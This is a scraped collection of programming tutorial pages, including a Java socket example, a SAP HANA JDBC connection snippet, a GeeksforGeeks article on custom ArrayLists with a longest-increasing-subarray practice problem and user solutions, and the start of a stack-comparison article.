interested in learning it. While it may not be top of the list in 2021, I believe it may be the most popular coding language of 2022 or beyond." }, { "code": null, "e": 18470, "s": 17856, "text": "Many coders compare it favorably to C++ in terms of ease of learning. The priority on safe code can be frustrating for many coders who type in code only to get annoying error messages, but this may be a shift away from the “move fast and break things” mentality and moving more towards a safer, more structurally sound codebase. It has applications for both long-standing necessities of development as well as more futuristic endeavors. Mozilla’s page on it describes the applications as ranging from, “game engines, operating systems, file systems, browser components and simulation engines for virtual reality.”" }, { "code": null, "e": 18549, "s": 18470, "text": "For these reasons, Rust may be the most popular coding language of the future." }, { "code": null, "e": 18844, "s": 18549, "text": "Because Rust is so focused around safety and structure, developers have spent a lot of time and resources ensuring error messages are user friendly, unlike many other coding languages. This makes it especially rewarding for beginners to learn, as when they make a mistake, it’s easy to correct." }, { "code": null, "e": 19131, "s": 18844, "text": "The Rust website offers three paths to try — reading from what’s known as “ The Book,” trying out the Rustlings Course with small projects to help get you up and running, and Rust By Example, which illustrates the concepts and libraries that underpin Rust. All these resources are free." }, { "code": null, "e": 19442, "s": 19131, "text": "As one Redditor points out, it’s a relatively new language in that many of the answers to questions you’ll have, haven’t yet been posted and answered on places like Stack Overflow. For this reason, they recommend joining the Discord channel as a way to gain mentorship and a supportive community to learn Rust." }, { "code": null, "e": 19780, "s": 19442, "text": "There are plenty of languages to choose from, and as you’ve seen from this list, many are recent. While some are objectively better than others for specific tasks, most serve a good purpose for someone. If you want to learn the most popular coding language of 2021, you first have to decide what you want from learning a coding language." } ]
Java Examples - Create a Socket
How to create a socket at a specific port ? Following example shows how to sing Socket constructor of Socket class.And also get Socket details using getLocalPort() getLocalAddress , getInetAddress() & getPort() methods. import java.io.IOException; import java.net.InetAddress; import java.net.Socket; import java.net.SocketException; import java.net.UnknownHostException; public class Main { public static void main(String[] args) { try { InetAddress addr = InetAddress.getByName("74.125.67.100"); Socket theSocket = new Socket(addr, 80); System.out.println("Connected to " + theSocket.getInetAddress() + " on port " + theSocket.getPort() + " from port " + theSocket.getLocalPort() + " of " + theSocket.getLocalAddress()); } catch (UnknownHostException e) { System.err.println("I can't find " + e ); } catch (SocketException e) { System.err.println("Could not connect to " +e ); } catch (IOException e) { System.err.println(e); } } } The above code sample will produce the following result. Connected to /74.125.67.100 on port 80 from port 2857 of /192.168.1.4 Print Add Notes Bookmark this page
[ { "code": null, "e": 2112, "s": 2068, "text": "How to create a socket at a specific port ?" }, { "code": null, "e": 2288, "s": 2112, "text": "Following example shows how to sing Socket constructor of Socket class.And also get Socket details using getLocalPort() getLocalAddress , getInetAddress() & getPort() methods." }, { "code": null, "e": 3144, "s": 2288, "text": "import java.io.IOException;\nimport java.net.InetAddress;\nimport java.net.Socket;\nimport java.net.SocketException;\nimport java.net.UnknownHostException;\n\npublic class Main {\n public static void main(String[] args) {\n try {\n InetAddress addr = InetAddress.getByName(\"74.125.67.100\");\n Socket theSocket = new Socket(addr, 80);\n System.out.println(\"Connected to \" \n + theSocket.getInetAddress()\n + \" on port \" + theSocket.getPort() + \" from port \"\n + theSocket.getLocalPort() + \" of \" \n + theSocket.getLocalAddress());\n } catch (UnknownHostException e) {\n System.err.println(\"I can't find \" + e );\n } catch (SocketException e) {\n System.err.println(\"Could not connect to \" +e );\n } catch (IOException e) {\n System.err.println(e);\n }\n }\n}" }, { "code": null, "e": 3201, "s": 3144, "text": "The above code sample will produce the following result." }, { "code": null, "e": 3273, "s": 3201, "text": "Connected to /74.125.67.100 on port 80 from port \n2857 of /192.168.1.4\n" }, { "code": null, "e": 3280, "s": 3273, "text": " Print" }, { "code": null, "e": 3291, "s": 3280, "text": " Add Notes" } ]
Setting up a JDBC connection to remote SAP HANA system
You are using the correct Port number for instance number “00”. Port number 300315, here 00 represents instance number of your HANA system. Try using HANA client jar file ngdbc.jar instead of SAP Jar file. try { Class.forName("com.sap.db.jdbc.Driver"); String url ="jdbc:sap://xx.x.x.xxx:30015/DBNAME"; //IP Address of HANAsystem followed by Port number String user ="user"; String password = "password"; Connection cn = java.sql.DriverManager.getConnection(url, user, password); ResultSet rs = cn.createStatement().executeQuery("CALL Test.STORED_PROC"); // ...Enter the action here } catch(Exception e) { e.printStackTrace(); }
[ { "code": null, "e": 1202, "s": 1062, "text": "You are using the correct Port number for instance number “00”. Port number 300315, here 00 represents instance number of your HANA system." }, { "code": null, "e": 1268, "s": 1202, "text": "Try using HANA client jar file ngdbc.jar instead of SAP Jar file." }, { "code": null, "e": 1715, "s": 1268, "text": "try {\n Class.forName(\"com.sap.db.jdbc.Driver\");\n String url =\"jdbc:sap://xx.x.x.xxx:30015/DBNAME\"; //IP Address of HANAsystem followed by Port number\n String user =\"user\";\n String password = \"password\";\n Connection cn = java.sql.DriverManager.getConnection(url, user, password);\n ResultSet rs = cn.createStatement().executeQuery(\"CALL Test.STORED_PROC\");\n // ...Enter the action here\n} catch(Exception e) {\n e.printStackTrace();\n}" } ]
Custom ArrayList in Java - GeeksforGeeks
20 Sep, 2021 Before proceeding further let us quickly revise the concept of the arrays and ArrayList quickly. So in java, we have seen arrays are linear data structures providing functionality to add elements in a continuous manner in memory address space whereas ArrayList is a class belonging to the Collection framework. Being a good programmer one is already aware of using ArrayList over arrays despite knowing the differences between these two. Now moving ahead even with ArrayList there comes a functionality to pass the type of datatype of elements that are supposed to be stored in the ArrayList be it an object, string, integer, double, float, etc. Syntax: Arraylist<DataType> al = new ArrayList<Datatype> ; Note: ArrayList in Java (equivalent to vector in C++) having dynamic size. It can be shrunk or expanded based on size. ArrayList is a part of the collection framework and is present in java.util package. Syntax: ArrayList <E> list = new ArrayList <> (); The important thing here out is that E here represents an object datatype imagine be it Integer here. The Integer class wraps a value of the primitive type int in an object. An object of type Integer contains a single field whose type is int. Do go through the concept of wrapper classes in java before moving forward as it will serve here at the backend making understanding clearer if we are well aware of autoboxing and unboxing concepts. It is because while performing operations over elements in list their syntax will differ so do grasping over concept will deplete as suppose consider a scenario of adding elements to custom ArrayList and note the differences in syntax between two of them. Syntax: ArrayList<Integer> al = new Arraylist<Integer>() ; al.add(1) ; Syntax: ArrayList alobj = new Arraylist() ; alobj(new Integer(1)) ; Let us take a sample illustration to perceive as provided below as follows: Illustration: here we are having all the elements of the same type which in general we often do use. Now let us propose the same diagrammatic flow ArrayList simply supports multiple data in the way shown in this image. In the above ArrayList, we can clearly see that the elements been stored in are of different types. So it does erupt out the concept of restricting. to a single type and not only this List do go gives us the flexibility to mak List as per our type where we have access what king of data types can be there in our ArrayList. This List is referred to as Custom ArrayList in java. A custom ArrayList has attributes based on user requirements and can have more than one type of data. This data is provided by a custom inner class which is formed by the combination of various primitive object datatypes. Implementation: Consider a case when we have to take input as N number of students and details are: roll number name marks phone number Suppose if we are unaware of the concept of custom Arraylist in java then we would be making below listed individual ArrayLists. As we define 4 ArrayLists and save data accordingly in each of them. ArrayList<Integer> roll = new ArrayList<>(); // roll number ArrayList<String> name = new ArrayList<>(); // name ArrayList<Integer> marks = new ArrayList<>(); // marks ArrayList<Long> phone = new ArrayList<>(); // phone number Now we would be iterating over each of them to fetch student data increasing the time complexity of our program to a greater extent as illustrated below as follows. for (int i = 0; i < n; i++) { // Adding all the values to each arraylist // each arraylist has primitive datatypes roll.add(rollnum_i); name.add(name_i); marks.add(marks_i); phone.add(phone_i); } Now let us do the same with the help of the concept learned above by implementing the same. So in order to construct our custom ArrayList perform the below-listed steps as follows: Procedure: Constructing custom ArrayList are as follows: Build an ArrayList Object and place its type as a Class Data.Define a class and put the required entities in the constructor.Link those entities to global variables.Data received from the ArrayList is of that class type that stores multiple data. Build an ArrayList Object and place its type as a Class Data. Define a class and put the required entities in the constructor. Link those entities to global variables. Data received from the ArrayList is of that class type that stores multiple data. Example Java // Java program to illustrate Custom ArrayList // Importing ArrayList class from java.util packageimport java.util.ArrayList; // Class 1// Outer class// Main class// CustomArrayListclass GFG { // Custom class which has data type class has // defined the type of data ArrayList // size of input 4 int n = 4; // Class 2 // Inner class // The custom datatype class class Data { // Global variables of the class int roll; String name; int marks; long phone; // Constructor has type of data that is required Data(int roll, String name, int marks, long phone) { // Initialize the input variable from main // function to the global variable of the class // this keyword refers to current instance this.roll = roll; this.name = name; this.marks = marks; this.phone = phone; } } // Method 1 // Main driver method public static void main(String args[]) { // Custom input data int roll[] = { 1, 2, 3, 4 }; String name[] = { "Shubham", "Atul", "Ayush", "Rupesh" }; int marks[] = { 100, 99, 93, 94 }; long phone[] = { 8762357381L, 8762357382L, 8762357383L, 8762357384L }; // Creating an object of the class GFG custom = new GFG(); // Now calling function to add the values to the // arraylist custom.addValues(roll, name, marks, phone); } public void addValues(int roll[], String name[], int marks[], long phone[]) { // local custom arraylist of data type // Data having (int, String, int, long) type // from the class ArrayList<Data> list = new ArrayList<>(); for (int i = 0; i < n; i++) { // create an object and send values to the // constructor to be saved in the Data class list.add(new Data(roll[i], name[i], marks[i], phone[i])); } // after adding values printing the values to test // the custom arraylist printValues(list); } // Method 2 // To print the values public void printValues(ArrayList<Data> list) { // list- the custom arraylist is sent from // previous function for (int i = 0; i < n; i++) { // Data received from arraylist is of Data type // which is custom (int, String, int, long) // based on class Data Data data = list.get(i); // Print and display custom ArrayList elements // that holds for student attribute // Data variable of type Data has four primitive // datatypes roll -int name- String marks- int // phone- long System.out.println(data.roll + " " + data.name + " " + data.marks + " " + data.phone); } }} 1 Shubham 100 8762357381 2 Atul 99 8762357382 3 Ayush 93 8762357383 4 Rupesh 94 8762357384 This article is contributed by Shubham Saxena. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to [email protected]. See your article appearing on the GeeksforGeeks main page and help other Geeks. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above. solankimayank anikaseth98 Java-ArrayList java-list Java-List-Programs Java Java Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Arrays in Java Split() String method in Java with examples For-each loop in Java Object Oriented Programming (OOPs) Concept in Java Reverse a string in Java Stream In Java HashMap in Java with Examples Arrays.sort() in Java with examples Interfaces in Java How to iterate any Map in Java
[ { "code": null, "e": 25113, "s": 25085, "text": "\n20 Sep, 2021" }, { "code": null, "e": 25760, "s": 25113, "text": "Before proceeding further let us quickly revise the concept of the arrays and ArrayList quickly. So in java, we have seen arrays are linear data structures providing functionality to add elements in a continuous manner in memory address space whereas ArrayList is a class belonging to the Collection framework. Being a good programmer one is already aware of using ArrayList over arrays despite knowing the differences between these two. Now moving ahead even with ArrayList there comes a functionality to pass the type of datatype of elements that are supposed to be stored in the ArrayList be it an object, string, integer, double, float, etc. " }, { "code": null, "e": 25768, "s": 25760, "text": "Syntax:" }, { "code": null, "e": 25819, "s": 25768, "text": "Arraylist<DataType> al = new ArrayList<Datatype> ;" }, { "code": null, "e": 26024, "s": 25819, "text": "Note: ArrayList in Java (equivalent to vector in C++) having dynamic size. It can be shrunk or expanded based on size. ArrayList is a part of the collection framework and is present in java.util package. " }, { "code": null, "e": 26032, "s": 26024, "text": "Syntax:" }, { "code": null, "e": 26074, "s": 26032, "text": "ArrayList <E> list = new ArrayList <> ();" }, { "code": null, "e": 26773, "s": 26074, "text": "The important thing here out is that E here represents an object datatype imagine be it Integer here. The Integer class wraps a value of the primitive type int in an object. An object of type Integer contains a single field whose type is int. Do go through the concept of wrapper classes in java before moving forward as it will serve here at the backend making understanding clearer if we are well aware of autoboxing and unboxing concepts. It is because while performing operations over elements in list their syntax will differ so do grasping over concept will deplete as suppose consider a scenario of adding elements to custom ArrayList and note the differences in syntax between two of them. " }, { "code": null, "e": 26781, "s": 26773, "text": "Syntax:" }, { "code": null, "e": 26844, "s": 26781, "text": "ArrayList<Integer> al = new Arraylist<Integer>() ;\nal.add(1) ;" }, { "code": null, "e": 26852, "s": 26844, "text": "Syntax:" }, { "code": null, "e": 26912, "s": 26852, "text": "ArrayList alobj = new Arraylist() ;\nalobj(new Integer(1)) ;" }, { "code": null, "e": 26988, "s": 26912, "text": "Let us take a sample illustration to perceive as provided below as follows:" }, { "code": null, "e": 27002, "s": 26988, "text": "Illustration:" }, { "code": null, "e": 27208, "s": 27002, "text": "here we are having all the elements of the same type which in general we often do use. Now let us propose the same diagrammatic flow ArrayList simply supports multiple data in the way shown in this image. " }, { "code": null, "e": 27808, "s": 27208, "text": "In the above ArrayList, we can clearly see that the elements been stored in are of different types. So it does erupt out the concept of restricting. to a single type and not only this List do go gives us the flexibility to mak List as per our type where we have access what king of data types can be there in our ArrayList. This List is referred to as Custom ArrayList in java. A custom ArrayList has attributes based on user requirements and can have more than one type of data. This data is provided by a custom inner class which is formed by the combination of various primitive object datatypes." }, { "code": null, "e": 27909, "s": 27808, "text": "Implementation: Consider a case when we have to take input as N number of students and details are: " }, { "code": null, "e": 27921, "s": 27909, "text": "roll number" }, { "code": null, "e": 27926, "s": 27921, "text": "name" }, { "code": null, "e": 27932, "s": 27926, "text": "marks" }, { "code": null, "e": 27945, "s": 27932, "text": "phone number" }, { "code": null, "e": 28143, "s": 27945, "text": "Suppose if we are unaware of the concept of custom Arraylist in java then we would be making below listed individual ArrayLists. As we define 4 ArrayLists and save data accordingly in each of them." }, { "code": null, "e": 28204, "s": 28143, "text": "ArrayList<Integer> roll = new ArrayList<>(); // roll number" }, { "code": null, "e": 28257, "s": 28204, "text": " ArrayList<String> name = new ArrayList<>(); // name" }, { "code": null, "e": 28313, "s": 28257, "text": "ArrayList<Integer> marks = new ArrayList<>(); // marks" }, { "code": null, "e": 28374, "s": 28313, "text": "ArrayList<Long> phone = new ArrayList<>(); // phone number " }, { "code": null, "e": 28539, "s": 28374, "text": "Now we would be iterating over each of them to fetch student data increasing the time complexity of our program to a greater extent as illustrated below as follows." }, { "code": null, "e": 28766, "s": 28539, "text": "for (int i = 0; i < n; i++) \n{\n\n // Adding all the values to each arraylist\n // each arraylist has primitive datatypes\n \n roll.add(rollnum_i);\n name.add(name_i);\n marks.add(marks_i);\n phone.add(phone_i);\n}" }, { "code": null, "e": 28947, "s": 28766, "text": "Now let us do the same with the help of the concept learned above by implementing the same. So in order to construct our custom ArrayList perform the below-listed steps as follows:" }, { "code": null, "e": 29004, "s": 28947, "text": "Procedure: Constructing custom ArrayList are as follows:" }, { "code": null, "e": 29251, "s": 29004, "text": "Build an ArrayList Object and place its type as a Class Data.Define a class and put the required entities in the constructor.Link those entities to global variables.Data received from the ArrayList is of that class type that stores multiple data." }, { "code": null, "e": 29313, "s": 29251, "text": "Build an ArrayList Object and place its type as a Class Data." }, { "code": null, "e": 29378, "s": 29313, "text": "Define a class and put the required entities in the constructor." }, { "code": null, "e": 29419, "s": 29378, "text": "Link those entities to global variables." }, { "code": null, "e": 29501, "s": 29419, "text": "Data received from the ArrayList is of that class type that stores multiple data." }, { "code": null, "e": 29509, "s": 29501, "text": "Example" }, { "code": null, "e": 29514, "s": 29509, "text": "Java" }, { "code": "// Java program to illustrate Custom ArrayList // Importing ArrayList class from java.util packageimport java.util.ArrayList; // Class 1// Outer class// Main class// CustomArrayListclass GFG { // Custom class which has data type class has // defined the type of data ArrayList // size of input 4 int n = 4; // Class 2 // Inner class // The custom datatype class class Data { // Global variables of the class int roll; String name; int marks; long phone; // Constructor has type of data that is required Data(int roll, String name, int marks, long phone) { // Initialize the input variable from main // function to the global variable of the class // this keyword refers to current instance this.roll = roll; this.name = name; this.marks = marks; this.phone = phone; } } // Method 1 // Main driver method public static void main(String args[]) { // Custom input data int roll[] = { 1, 2, 3, 4 }; String name[] = { \"Shubham\", \"Atul\", \"Ayush\", \"Rupesh\" }; int marks[] = { 100, 99, 93, 94 }; long phone[] = { 8762357381L, 8762357382L, 8762357383L, 8762357384L }; // Creating an object of the class GFG custom = new GFG(); // Now calling function to add the values to the // arraylist custom.addValues(roll, name, marks, phone); } public void addValues(int roll[], String name[], int marks[], long phone[]) { // local custom arraylist of data type // Data having (int, String, int, long) type // from the class ArrayList<Data> list = new ArrayList<>(); for (int i = 0; i < n; i++) { // create an object and send values to the // constructor to be saved in the Data class list.add(new Data(roll[i], name[i], marks[i], phone[i])); } // after adding values printing the values to test // the custom arraylist printValues(list); } // Method 2 // To print the values public void printValues(ArrayList<Data> list) { // list- the custom arraylist is sent from // previous function for (int i = 0; i < n; i++) { // Data received from arraylist is of Data type // which is custom (int, String, int, long) // based on class Data Data data = list.get(i); // Print and display custom ArrayList elements // that holds for student attribute // Data variable of type Data has four primitive // datatypes roll -int name- String marks- int // phone- long System.out.println(data.roll + \" \" + data.name + \" \" + data.marks + \" \" + data.phone); } }}", "e": 32517, "s": 29514, "text": null }, { "code": null, "e": 32608, "s": 32517, "text": "1 Shubham 100 8762357381\n2 Atul 99 8762357382\n3 Ayush 93 8762357383\n4 Rupesh 94 8762357384" }, { "code": null, "e": 33031, "s": 32608, "text": "This article is contributed by Shubham Saxena. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to [email protected]. See your article appearing on the GeeksforGeeks main page and help other Geeks. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above." }, { "code": null, "e": 33045, "s": 33031, "text": "solankimayank" }, { "code": null, "e": 33057, "s": 33045, "text": "anikaseth98" }, { "code": null, "e": 33072, "s": 33057, "text": "Java-ArrayList" }, { "code": null, "e": 33082, "s": 33072, "text": "java-list" }, { "code": null, "e": 33101, "s": 33082, "text": "Java-List-Programs" }, { "code": null, "e": 33106, "s": 33101, "text": "Java" }, { "code": null, "e": 33111, "s": 33106, "text": "Java" }, { "code": null, "e": 33209, "s": 33111, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 33224, "s": 33209, "text": "Arrays in Java" }, { "code": null, "e": 33268, "s": 33224, "text": "Split() String method in Java with examples" }, { "code": null, "e": 33290, "s": 33268, "text": "For-each loop in Java" }, { "code": null, "e": 33341, "s": 33290, "text": "Object Oriented Programming (OOPs) Concept in Java" }, { "code": null, "e": 33366, "s": 33341, "text": "Reverse a string in Java" }, { "code": null, "e": 33381, "s": 33366, "text": "Stream In Java" }, { "code": null, "e": 33411, "s": 33381, "text": "HashMap in Java with Examples" }, { "code": null, "e": 33447, "s": 33411, "text": "Arrays.sort() in Java with examples" }, { "code": null, "e": 33466, "s": 33447, "text": "Interfaces in Java" } ]
Longest increasing subarray | Practice | GeeksforGeeks
Given an array containing n numbers. The problem is to find the length of the longest contiguous subarray such that every element in the subarray is strictly greater than its previous element in the same subarray. Example 1: Input: n = 9 a[] = {5, 6, 3, 5, 7, 8, 9, 1, 2} Output: 5 Example 2: Input: n = 10 a[] = {12, 13, 1, 5, 4, 7, 8, 10, 10, 11} Output: 4 Your Task: You don't need to read input or print anything. Your task is to complete the function lenOfLongIncSubArr() which takes the array a[] and its size n as inputs and returns the length of the longest increasing subarray. Expected Time Complexity: O(n) Expected Auxiliary Space: O(1) Constraints: 1<=n<=105 1<=a[i]<=105 0 mayank20214 weeks ago C++ : 0.12/1.25long int lenOfLongIncSubArr(long int arr[], long int n) { int finalcount=0, tempcount=1; for(int i=0; i<n-1 ; i++) { if(arr[i]>= arr[i+1]) { finalcount=max(finalcount, tempcount); tempcount=1; } else tempcount++; } finalcount=max(finalcount, tempcount); return finalcount; } +1 hasnainraza1998hr2 months ago C++, 0.1 long int lenOfLongIncSubArr(long int arr[], long int n) { long int max=1,temp=1; for(int i=0;i<n-1;i++){ if(arr[i]<arr[i+1]) temp++; else if(arr[i]>arr[i+1]) temp=1; if(temp>max) max=temp; } return max; } 0 jhasuraj73812 months ago //java code int max=1,count=1; for(int i=0;i<n-1;i++) { if(arr[i+1]>arr[i]) count++; if(arr[i+1]<arr[i]) count=1; if(count>max) max=count; } return max; 0 vaibhavikhachane304 months ago //Java Solution class Solution { public long lenOfLongIncSubArr(long arr[], long n) { long len = 1; long maxLen = 1; for (int i = 1; i < n; i++){ if(arr[i-1] < arr[i]){ len ++; } else{ len = 1; } maxLen = Math.max(len, maxLen); } return maxLen; } } 0 codersheaven694 months ago Python solution max_count = 0 count = 0 # final = [] for i in range(n-1): if int(a[i+1])>int(a[i]): count +=1 # final.append(count) else: count = 0 max_count = max(count,max_count) return max_count +1 +1 badgujarsachin837 months ago long int lenOfLongIncSubArr(long int arr[], long int n) { long int c=1; long int max=1; for(int i=1;i<n;i++){ if(arr[i]>arr[i-1]){ c++; if(c>max){ max=c; } }else{ c=1; } } return max; } +2 jasmeenkaursyali7 months ago long int lenOfLongIncSubArr(long int arr[], long int n) { if(n==1) return 1; long int c=1,maxlen=0; for(int i=1;i<n;i++){ if(arr[i-1]<arr[i]) c++; else c=1; maxlen = max(maxlen,c); } return maxlen; } 0 samughodake18087 months ago long int lenOfLongIncSubArr(long int a[], long int n) { long int max_count=0; long int count=0; for(int i=0;i<n-1;i++){ if(a[i]<a[i+1]){ count++; } else{ count=0; } max_count=max(count,max_count); } return max_count+1; } 0 This comment was deleted. 0 Manvendra Singh Chhajerh11 months ago Manvendra Singh Chhajerh if(n<1) return 0; long int clen = 1, max_len =1; for(long int i=1;i<n;i++) {="" if(arr[i]=""> arr[i-1]) clen++; else clen = 1; if (clen > max_len) max_len = clen; } return max_len; We strongly recommend solving this problem on your own before viewing its editorial. Do you still want to view the editorial? Login to access your submissions. Problem Contest Reset the IDE using the second button on the top right corner. Avoid using static/global variables in your code as your code is tested against multiple test cases and these tend to retain their previous values. Passing the Sample/Custom Test cases does not guarantee the correctness of code. On submission, your code is tested against multiple test cases consisting of all possible corner cases and stress constraints. You can access the hints to get an idea about what is expected of you as well as the final solution code. You can view the solutions submitted by other users from the submission tab.
[ { "code": null, "e": 452, "s": 238, "text": "Given an array containing n numbers. The problem is to find the length of the longest contiguous subarray such that every element in the subarray is strictly greater than its previous element in the same subarray." }, { "code": null, "e": 465, "s": 454, "text": "Example 1:" }, { "code": null, "e": 522, "s": 465, "text": "Input:\nn = 9\na[] = {5, 6, 3, 5, 7, 8, 9, 1, 2}\nOutput:\n5" }, { "code": null, "e": 535, "s": 524, "text": "Example 2:" }, { "code": null, "e": 601, "s": 535, "text": "Input:\nn = 10\na[] = {12, 13, 1, 5, 4, 7, 8, 10, 10, 11}\nOutput:\n4" }, { "code": null, "e": 833, "s": 603, "text": "Your Task: \nYou don't need to read input or print anything. Your task is to complete the function lenOfLongIncSubArr() which takes the array a[] and its size n as inputs and returns the length of the longest increasing subarray." }, { "code": null, "e": 897, "s": 835, "text": "Expected Time Complexity: O(n)\nExpected Auxiliary Space: O(1)" }, { "code": null, "e": 936, "s": 899, "text": "Constraints: \n1<=n<=105\n1<=a[i]<=105" }, { "code": null, "e": 940, "s": 938, "text": "0" }, { "code": null, "e": 962, "s": 940, "text": "mayank20214 weeks ago" }, { "code": null, "e": 1416, "s": 962, "text": "C++ : 0.12/1.25long int lenOfLongIncSubArr(long int arr[], long int n) { int finalcount=0, tempcount=1; for(int i=0; i<n-1 ; i++) { if(arr[i]>= arr[i+1]) { finalcount=max(finalcount, tempcount); tempcount=1; } else tempcount++; } finalcount=max(finalcount, tempcount); return finalcount; }" }, { "code": null, "e": 1419, "s": 1416, "text": "+1" }, { "code": null, "e": 1449, "s": 1419, "text": "hasnainraza1998hr2 months ago" }, { "code": null, "e": 1458, "s": 1449, "text": "C++, 0.1" }, { "code": null, "e": 1761, "s": 1458, "text": "long int lenOfLongIncSubArr(long int arr[], long int n) { long int max=1,temp=1; for(int i=0;i<n-1;i++){ if(arr[i]<arr[i+1]) temp++; else if(arr[i]>arr[i+1]) temp=1; if(temp>max) max=temp; } return max; }" }, { "code": null, "e": 1763, "s": 1761, "text": "0" }, { "code": null, "e": 1788, "s": 1763, "text": "jhasuraj73812 months ago" }, { "code": null, "e": 1800, "s": 1788, "text": "//java code" }, { "code": null, "e": 2070, "s": 1800, "text": " int max=1,count=1; for(int i=0;i<n-1;i++) { if(arr[i+1]>arr[i]) count++; if(arr[i+1]<arr[i]) count=1; if(count>max) max=count; } return max;" }, { "code": null, "e": 2072, "s": 2070, "text": "0" }, { "code": null, "e": 2103, "s": 2072, "text": "vaibhavikhachane304 months ago" }, { "code": null, "e": 2525, "s": 2103, "text": "//Java Solution\nclass Solution {\n \n public long lenOfLongIncSubArr(long arr[], long n)\n {\n \n long len = 1;\n long maxLen = 1;\n \n \n for (int i = 1; i < n; i++){\n if(arr[i-1] < arr[i]){\n len ++;\n }\n else{\n len = 1;\n }\n maxLen = Math.max(len, maxLen);\n }\n return maxLen;\n }\n}" }, { "code": null, "e": 2527, "s": 2525, "text": "0" }, { "code": null, "e": 2554, "s": 2527, "text": "codersheaven694 months ago" }, { "code": null, "e": 2570, "s": 2554, "text": "Python solution" }, { "code": null, "e": 2878, "s": 2574, "text": " max_count = 0 count = 0 # final = [] for i in range(n-1): if int(a[i+1])>int(a[i]): count +=1 # final.append(count) else: count = 0 max_count = max(count,max_count) return max_count +1" }, { "code": null, "e": 2881, "s": 2878, "text": "+1" }, { "code": null, "e": 2910, "s": 2881, "text": "badgujarsachin837 months ago" }, { "code": null, "e": 3283, "s": 2910, "text": " long int lenOfLongIncSubArr(long int arr[], long int n) {\n long int c=1;\n long int max=1;\n for(int i=1;i<n;i++){\n if(arr[i]>arr[i-1]){\n c++;\n if(c>max){\n max=c;\n }\n }else{\n \n c=1;\n }\n \n }\n return max;\n }" }, { "code": null, "e": 3286, "s": 3283, "text": "+2" }, { "code": null, "e": 3315, "s": 3286, "text": "jasmeenkaursyali7 months ago" }, { "code": null, "e": 3604, "s": 3315, "text": "long int lenOfLongIncSubArr(long int arr[], long int n) { if(n==1) return 1; long int c=1,maxlen=0; for(int i=1;i<n;i++){ if(arr[i-1]<arr[i]) c++; else c=1; maxlen = max(maxlen,c); } return maxlen; }" }, { "code": null, "e": 3606, "s": 3604, "text": "0" }, { "code": null, "e": 3634, "s": 3606, "text": "samughodake18087 months ago" }, { "code": null, "e": 3965, "s": 3634, "text": "long int lenOfLongIncSubArr(long int a[], long int n) { long int max_count=0; long int count=0; for(int i=0;i<n-1;i++){ if(a[i]<a[i+1]){ count++; } else{ count=0; } max_count=max(count,max_count); } return max_count+1; }" }, { "code": null, "e": 3967, "s": 3965, "text": "0" }, { "code": null, "e": 3993, "s": 3967, "text": "This comment was deleted." }, { "code": null, "e": 3995, "s": 3993, "text": "0" }, { "code": null, "e": 4033, "s": 3995, "text": "Manvendra Singh Chhajerh11 months ago" }, { "code": null, "e": 4058, "s": 4033, "text": "Manvendra Singh Chhajerh" }, { "code": null, "e": 4066, "s": 4058, "text": "if(n<1)" }, { "code": null, "e": 4088, "s": 4066, "text": " return 0;" }, { "code": null, "e": 4127, "s": 4088, "text": " long int clen = 1, max_len =1;" }, { "code": null, "e": 4190, "s": 4127, "text": " for(long int i=1;i<n;i++) {=\"\" if(arr[i]=\"\"> arr[i-1])" }, { "code": null, "e": 4214, "s": 4190, "text": " clen++;" }, { "code": null, "e": 4231, "s": 4214, "text": " else" }, { "code": null, "e": 4257, "s": 4231, "text": " clen = 1;" }, { "code": null, "e": 4289, "s": 4257, "text": " if (clen > max_len)" }, { "code": null, "e": 4321, "s": 4289, "text": " max_len = clen;" }, { "code": null, "e": 4331, "s": 4321, "text": " }" }, { "code": null, "e": 4355, "s": 4331, "text": " return max_len;" }, { "code": null, "e": 4501, "s": 4355, "text": "We strongly recommend solving this problem on your own before viewing its editorial. Do you still\n want to view the editorial?" }, { "code": null, "e": 4537, "s": 4501, "text": " Login to access your submissions. " }, { "code": null, "e": 4547, "s": 4537, "text": "\nProblem\n" }, { "code": null, "e": 4557, "s": 4547, "text": "\nContest\n" }, { "code": null, "e": 4620, "s": 4557, "text": "Reset the IDE using the second button on the top right corner." }, { "code": null, "e": 4768, "s": 4620, "text": "Avoid using static/global variables in your code as your code is tested against multiple test cases and these tend to retain their previous values." }, { "code": null, "e": 4976, "s": 4768, "text": "Passing the Sample/Custom Test cases does not guarantee the correctness of code. On submission, your code is tested against multiple test cases consisting of all possible corner cases and stress constraints." }, { "code": null, "e": 5082, "s": 4976, "text": "You can access the hints to get an idea about what is expected of you as well as the final solution code." } ]
Check if the two given stacks are same - GeeksforGeeks
03 Jun, 2021 Given two Stacks, the task is to check if the given stacks are same or not.Two stacks are said to be same if they contains the same elements in the same order.Example: Approach: Take a flag variable and set it to true initially, flag = true. This variable will indicate whether the stacks are same or not.First check if the size of given stack1 and stack2 are equal. If the size is not equal, set flag to false and return it.If the size is same, then compare the top elements of both of the given stacks.If the top of both stacks is NOT same, set flag to false and return it otherwise pop top elements of both stacks.Repeat step 3 and 4 until all elements are popped out from both of the stacks.If both stacks gets empty and the flag variable is still true, it means that the stacks are same. Take a flag variable and set it to true initially, flag = true. This variable will indicate whether the stacks are same or not. First check if the size of given stack1 and stack2 are equal. If the size is not equal, set flag to false and return it. If the size is same, then compare the top elements of both of the given stacks. If the top of both stacks is NOT same, set flag to false and return it otherwise pop top elements of both stacks. Repeat step 3 and 4 until all elements are popped out from both of the stacks. If both stacks gets empty and the flag variable is still true, it means that the stacks are same. Below is the implementation of the above idea: C++ Java Python3 C# Javascript // C++ program to check if the given// stacks are equal or not #include <bits/stdc++.h>using namespace std; // Function to check if the two given// stacks are samebool isSameStack(stack<string> stack1, stack<string> stack2){ // Create a flag variable bool flag = true; // Check if size of both stacks are same if (stack1.size() != stack2.size()) { flag = false; return flag; } // Until the stacks are not empty // compare top of both stacks while (stack1.empty() == false) { // If the top elements of both stacks // are same if (stack1.top() == stack2.top()) { // Pop top of both stacks stack1.pop(); stack2.pop(); } else { // Otherwise, set flag to false flag = false; break; } } // Return flag return flag;} // Driver Codeint main(){ // Creating stacks stack<string> stack1; stack<string> stack2; // Inserting elements to stack1 stack1.push("Geeks"); stack1.push("4"); stack1.push("Geeks"); stack1.push("Welcomes"); stack1.push("You"); // Inserting elements to 